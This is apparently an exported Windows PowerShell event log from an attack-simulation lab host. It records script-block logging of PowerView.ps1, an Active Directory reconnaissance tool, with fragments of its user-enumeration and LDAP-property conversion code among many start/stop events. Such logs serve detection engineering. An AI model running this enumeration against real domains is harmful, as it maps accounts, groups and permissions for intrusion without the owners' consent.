410615103150x0667059Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667058Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667057Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667056Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667055Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667054Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667053Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667052Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667051Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667050Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667049Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667048Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667047Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667046Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667045Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667044Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local695458b7-a0ad-4609-8e8f-c29dc2d1b41554264437-4f42-4df9-8829-9527f33cd4fe 4104132150x0667043Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local11{ $GUIDs[(New-Object Guid (,$_.properties.schemaidguid[0])).Guid] = $_.properties.name[0] }695458b7-a0ad-4609-8e8f-c29dc2d1b415C:\Users\reed_potts\Downloads\PowerView.ps1 410615103150x0667042Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667041Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdb0a5304-2eff-4da0-8a76-b2b06083e27154264437-4f42-4df9-8829-9527f33cd4fe 4104152150x0667040Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local11{$_}db0a5304-2eff-4da0-8a76-b2b06083e271C:\Users\reed_potts\Downloads\PowerView.ps1 410615103150x0667039Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local44594e5d-c183-476c-9547-f0c8218e879e54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667038Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667037Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667036Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667035Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667034Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667033Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc54d78d1-e450-4b88-87f3-0cc58a85045754264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667032Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc54d78d1-e450-4b88-87f3-0cc58a85045754264437-4f42-4df9-8829-9527f33cd4fe 4104152150x0667031Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local11{ (New-Object System.Security.Principal.SecurityIdentifier($_, 0)).Value }c54d78d1-e450-4b88-87f3-0cc58a850457C:\Users\reed_potts\Downloads\PowerView.ps1 410515102150x0667030Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667029Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667028Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667027Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667026Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667025Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667024Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667023Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667022Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667021Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667020Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667019Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667018Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667017Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667016Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667015Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667014Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667013Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667012Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667011Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667010Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667009Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667008Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667007Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667006Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667005Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667004Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667003Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667002Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0667001Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0667000Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666999Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666998Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666997Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localde5f8f4d-ae80-4db4-acee-2ae9649c595b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666996Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666995Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666994Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666993Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666992Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666991Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666990Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666989Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666988Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666987Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666986Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666985Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666984Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666983Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666982Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666981Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666980Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666979Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666978Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666977Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666976Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666975Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666974Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666973Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666972Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666971Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666970Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666969Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666968Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666967Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666966Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc0f8e15f-a247-4240-9f0a-1b7779d488f254264437-4f42-4df9-8829-9527f33cd4fe 4104132150x0666965Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local11{ if ($_ -ne 'adspath') { if (($_ -eq 'objectsid') -or ($_ -eq 'sidhistory')) { # convert all listed sids (i.e. if multiple are listed in sidHistory) $ObjectProperties[$_] = $Properties[$_] | ForEach-Object { (New-Object System.Security.Principal.SecurityIdentifier($_, 0)).Value } } elseif ($_ -eq 'grouptype') { $ObjectProperties[$_] = $Properties[$_][0] -as $GroupTypeEnum } elseif ($_ -eq 'samaccounttype') { $ObjectProperties[$_] = $Properties[$_][0] -as $SamAccountTypeEnum } elseif ($_ -eq 'objectguid') { # convert the GUID to a string $ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid } elseif ($_ -eq 'useraccountcontrol') { $ObjectProperties[$_] = $Properties[$_][0] -as $UACEnum } elseif ($_ -eq 'ntsecuritydescriptor') { # $ObjectProperties[$_] = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0 $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0 if ($Descriptor.Owner) { $ObjectProperties['Owner'] = $Descriptor.Owner } if ($Descriptor.Group) { $ObjectProperties['Group'] = $Descriptor.Group } if ($Descriptor.DiscretionaryAcl) { $ObjectProperties['DiscretionaryAcl'] = $Descriptor.DiscretionaryAcl } if ($Descriptor.SystemAcl) { $ObjectProperties['SystemAcl'] = $Descriptor.SystemAcl } } elseif ($_ -eq 'accountexpires') { if ($Properties[$_][0] -gt [DateTime]::MaxValue.Ticks) { $ObjectProperties[$_] = "NEVER" } else { $ObjectProperties[$_] = [datetime]::fromfiletime($Properties[$_][0]) } } elseif ( ($_ -eq 'lastlogon') -or ($_ -eq 'lastlogontimestamp') -or ($_ -eq 'pwdlastset') -or ($_ -eq 'lastlogoff') -or ($_ -eq 'badPasswordTime') ) { # convert timestamps if ($Properties[$_][0] -is [System.MarshalByRefObject]) { # if we have a System.__ComObject $Temp = $Properties[$_][0] [Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) [Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) $ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low))) } else { # otherwise just a string $ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0]))) } } elseif ($Properties[$_][0] -is [System.MarshalByRefObject]) { # try to convert misc com objects $Prop = $Properties[$_] try { $Temp = $Prop[$_][0] [Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) [Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) $ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low) } catch { Write-Verbose "[Convert-LDAPProperty] error: $_" $ObjectProperties[$_] = $Prop[$_] } } elseif ($Properties[$_].count -eq 1) { $ObjectProperties[$_] = $Properties[$_][0] } else { $ObjectProperties[$_] = $Properties[$_] } } }c0f8e15f-a247-4240-9f0a-1b7779d488f2C:\Users\reed_potts\Downloads\PowerView.ps1 410515102150x0666964Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local44594e5d-c183-476c-9547-f0c8218e879e54264437-4f42-4df9-8829-9527f33cd4fe 4104132150x0666963Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local11{ if ($PSBoundParameters['Raw']) { # return raw result objects $User = $_ $User.PSObject.TypeNames.Insert(0, 'PowerView.User.Raw') } else { $User = Convert-LDAPProperty -Properties $_.Properties $User.PSObject.TypeNames.Insert(0, 'PowerView.User') } $User }44594e5d-c183-476c-9547-f0c8218e879eC:\Users\reed_potts\Downloads\PowerView.ps1 410615103150x0666962Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc746d670-d73b-4032-bdd5-104535f7ff9354264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666961Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc746d670-d73b-4032-bdd5-104535f7ff9354264437-4f42-4df9-8829-9527f33cd4fe 4104152150x0666960Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local11{$_}c746d670-d73b-4032-bdd5-104535f7ff93C:\Users\reed_potts\Downloads\PowerView.ps1 410615103150x0666959Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local8d6aa245-5098-4e2b-8c85-610e99c57afa54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666958Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local8d6aa245-5098-4e2b-8c85-610e99c57afa54264437-4f42-4df9-8829-9527f33cd4fe 4104152150x0666957Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local11{$_}8d6aa245-5098-4e2b-8c85-610e99c57afaC:\Users\reed_potts\Downloads\PowerView.ps1 410615103150x0666956Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.locale1ce5241-1422-498e-8dc8-c96a05b2227854264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666955Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.locale1ce5241-1422-498e-8dc8-c96a05b2227854264437-4f42-4df9-8829-9527f33cd4fe 4104152150x0666954Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local11{ $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') if ($IdentityInstance -match '^S-1-') { $IdentityFilter += "(objectsid=$IdentityInstance)" } elseif ($IdentityInstance -match '^CN=') { $IdentityFilter += "(distinguishedname=$IdentityInstance)" if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname # and rebuild the domain searcher $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' Write-Verbose "[Get-DomainUser] Extracted domain '$IdentityDomain' from '$IdentityInstance'" $SearcherArguments['Domain'] = $IdentityDomain $UserSearcher = Get-DomainSearcher @SearcherArguments if (-not $UserSearcher) { Write-Warning "[Get-DomainUser] Unable to retrieve domain searcher for '$IdentityDomain'" } } } elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' $IdentityFilter += "(objectguid=$GuidByteString)" } elseif ($IdentityInstance.Contains('\')) { $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical if ($ConvertedIdentityInstance) { $UserDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) $UserName = $IdentityInstance.Split('\')[1] $IdentityFilter += "(samAccountName=$UserName)" $SearcherArguments['Domain'] = $UserDomain Write-Verbose "[Get-DomainUser] Extracted domain '$UserDomain' from '$IdentityInstance'" $UserSearcher = Get-DomainSearcher @SearcherArguments } } else { $IdentityFilter += "(samAccountName=$IdentityInstance)" } }e1ce5241-1422-498e-8dc8-c96a05b22278C:\Users\reed_potts\Downloads\PowerView.ps1 410615103150x0666953Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf311f780-f5b8-4e45-9995-ebbcca8eca7454264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666952Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf311f780-f5b8-4e45-9995-ebbcca8eca7454264437-4f42-4df9-8829-9527f33cd4fe 4104152150x0666951Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local11{$_}f311f780-f5b8-4e45-9995-ebbcca8eca74C:\Users\reed_potts\Downloads\PowerView.ps1 410615103150x0666950Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc28e8611-51f4-42dd-9228-19152f18e3b154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666949Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc28e8611-51f4-42dd-9228-19152f18e3b154264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666948Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc28e8611-51f4-42dd-9228-19152f18e3b154264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666947Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc28e8611-51f4-42dd-9228-19152f18e3b154264437-4f42-4df9-8829-9527f33cd4fe 4104152150x0666946Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local11{ $CommonParameters -notcontains $_ }c28e8611-51f4-42dd-9228-19152f18e3b1C:\Users\reed_potts\Downloads\PowerView.ps1 410615103150x0666945Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local829013d7-ae36-48fa-8850-e5a9f511462954264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666944Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local829013d7-ae36-48fa-8850-e5a9f511462954264437-4f42-4df9-8829-9527f33cd4fe 4104152150x0666943Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local11{ # System.Management.Automation.PSBoundParametersDictionary is an internal sealed class, # so one can't use PowerShell's '-is' operator to validate type. if($_.GetType().Name -notmatch 'Dictionary') { Throw 'BoundParameters must be a System.Management.Automation.PSBoundParametersDictionary object' } $true }829013d7-ae36-48fa-8850-e5a9f5114629C:\Users\reed_potts\Downloads\PowerView.ps1 410615103150x0666942Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local53013f60-a6b6-472d-a0ff-e40df166f1bd54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666941Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local53013f60-a6b6-472d-a0ff-e40df166f1bd54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666940Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local53013f60-a6b6-472d-a0ff-e40df166f1bd54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666939Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local53013f60-a6b6-472d-a0ff-e40df166f1bd54264437-4f42-4df9-8829-9527f33cd4fe 4104152150x0666938Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local11{Get-Variable -Name $_ -ValueOnly -Scope 0}53013f60-a6b6-472d-a0ff-e40df166f1bdC:\Users\reed_potts\Downloads\PowerView.ps1 410615103150x0666937Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666936Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666935Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666934Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666933Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666932Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666931Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666930Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666929Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666928Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666927Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 